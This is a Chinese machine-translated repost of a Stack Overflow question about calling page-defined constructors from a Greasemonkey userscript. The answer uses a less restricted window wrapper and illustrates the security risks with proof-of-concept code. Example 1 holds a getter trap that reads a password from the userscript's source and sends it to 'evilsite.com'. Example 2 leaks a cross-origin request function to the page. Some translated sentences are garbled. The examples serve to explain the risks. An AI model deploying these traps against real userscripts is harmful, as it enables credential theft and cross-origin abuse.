如何使用远程页面的构造函数在 Greasemonkey 用户脚本中创建对象?

2024-01-06

我的用户脚本将运行的页面有一个命名空间,该命名空间定义了一个构造函数。我想使用相同的构造函数创建一个对象,并在我的用户脚本中使用该对象的方法。到目前为止我还没有成功。这就是我正在尝试做的事情。

该页面具有以下本机 JavaScript 块:

var namespace={ constructor : function(){
   this.sum = function(value1,value2){
   alert(value1+value2);
    }
  }
}

被使用如下:

var pageObject=new namespace.constructor();
pageObject.sum(1,2);

在“我的用户脚本”中,我的目的是创建一个像 pageObject 一样的对象,并使用我自己的参数从中调用 sum。

我尝试过执行以下操作:

var greaseNameSpace = unsafeWindow.namespace;
var greaseObject = new greaseNameSpace.constructor();
greaseObject.sum(1,2);

不幸的是,通过greaseNameSpace 出现,甚至greaseNameSpace.constructor 是一个有效的函数,使用newgreaseNameSpace.constructor() 会产生未定义的结果。

还尝试了以下操作:

var greaseObject =new unsafeWindow.namespace.constructor();

再次,greaseObject 仍然未定义。

我在这里找到了一个线程如何创建远程页面中定义的类的对象? https://stackoverflow.com/questions/535959/greasemonkey-how-can-i-create-an-object-of-a-class-which-defined-in-the-remote-p

但它使用 eval,我想知道这是否是正确的方法?

任何和所有的帮助将不胜感激:)谢谢!


我找到了解决问题的方法。但要小心使用此方法:当您部分/错误地实现此代码时,您将打开一个潜在的安全漏洞。

下面的代码获得了一个window对象没有模糊的限制unsafeWindow。在此范围内执行的任何代码window如果对象是实际页面的一部分,它的行为就会类似于 Google Chrome 扩展中的内容脚本。

Code

// ==UserScript==
// @name           http://stackoverflow.com/q/4804765
// @namespace      Rob W
// @include        file:///tmp/test.html*
// ==/UserScript==

//Get a window object which is less restricted than unsafeWindow
var $_WINDOW = new XPCNativeWrapper(window, "")
                  .getInterface(Components.interfaces.nsIDOMWindow);

//Create an anonymous function wrapper for security
(function(){
    var obj = new $_WINDOW.namespace.constructor;
    obj.sum(4,5);

}).call($_WINDOW)

安全考虑

  • 包装使用此方法/变量的代码window函数中的对象,这样就不会产生危险的漏洞。不允许此函数包装器根据用户输入执行随机代码。
  • See 实施例3正确的实施方法$_WINDOW

示例/概念证明

下面我将展示可能出现的情况$_WINDOW对象以危险的方式实现。很明显,代码“//page” 出乎 GM 脚本开发者的意料。
注意:某些示例(例如示例 2)可能对于安全(本地)基于 Web 的应用程序(位于file:///例如协议)。
示例 3 显示了正确的使用方法$_WINDOW.

我已经使用了魔法__defineGetter__函数来检测对变量的调用,因为大多数脚本开发人员不知道此功能。直接调用函数也会触发有害代码;

主要原因在于arguments.callee.caller。在函数内部,此对象将引用调用当前函数的函数。什么时候unsafeWindow被使用时,arguments.callee.caller无法调用变量。该函数将显示为function SJOWContentBoundary{ [native code]}。然而,当$_WINDOW使用后,真正的GM函数是由远程页面可见和可调用的。

实施例1: 从 GreaseMonkey 脚本读取(合理)数据

//GreaseMonkey:
var password = "password";
alert($_WINDOW.namespace.Var); //Seemingly harmless?

//Page:
var namespace = {Var:1};
namespace.__defineGetter__("Var", function(){
    var gm_function = arguments.callee.caller;
    var password = gm_function.toString().match(/var password = "(.*?)";\n/);
    (new Image).src = "http://evilsite.com/stealpassword.php?p=" + password[0];
})

实施例2: 跨域泄露XMLHttpRequest方法到任意页面。
该 GM 脚本的创建者打算根据哈希更改来修改页面。然而,通过在更改 URL/回调的函数中包含检查(页面是否应该受到影响),会产生一个漏洞。

//GreaseMonkey:
var base_url, callback;
function checkExistent(url, func){
    base_url = url;
    callback = func;
    return typeof $_WINDOW.some_var != "undefined"; //<---Leaked!
}
var isExistent = checkExistent("http://example.com/load?h=", function(res){
    alert(res.responseText);
});
var lastHash = unsafeWindow.location.hash.substr(1);
if(confirm(isExistent)){
    window.setInterval(function(){ //Create poller to detect hash changes
        var newHash = unsafeWindow.location.hash.substr(1);
        if(lastHash != newHash){
            GM_xmlhttpRequest({method:"GET",
                          "url": base_url + newHash, onload:callback});
            lastHash = newHash;
        }
    }, 300);
}

//Page
var step = 0, xhr;
window.__defineGetter__("some_var", function(){
    if(!step++){ //Define the xhr first time
        xhr = function(url, callback){
            arguments.callee.caller(url, callback);
              // = function checkExistent(url, callback) !!!!
            location.hash += "."; //Edit hash to trigger XHR
        }
    }
    return step;
});

实施例3: 正确使用
应定义变量 getter,以便不能发出任意请求。函数不应接受变量。如果仍然需要,请将 getter 包装在匿名函数中。

//GM:
function getUserdata(){
    //Get a string from a page. Wrap the string in a new String object,
    // to make sure that no evil properties/methods are defined
    return String($_WINDOW.variable);
}

//Method 2
//The developer of the GM script has to define a correct wrapper for type:
// String, Number, Boolean, ...
function getRandomVariable(type, name){
    var variable = (function(){ //No arguments, no hazards
        return $_WINDOW[name];
    })();
    return type(variable);
}
getRandomVariable(String, "variable");

//Page:
var variable = "There's no way to abuse this GM bridge.";
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

如何使用远程页面的构造函数在 Greasemonkey 用户脚本中创建对象? 的相关文章

随机推荐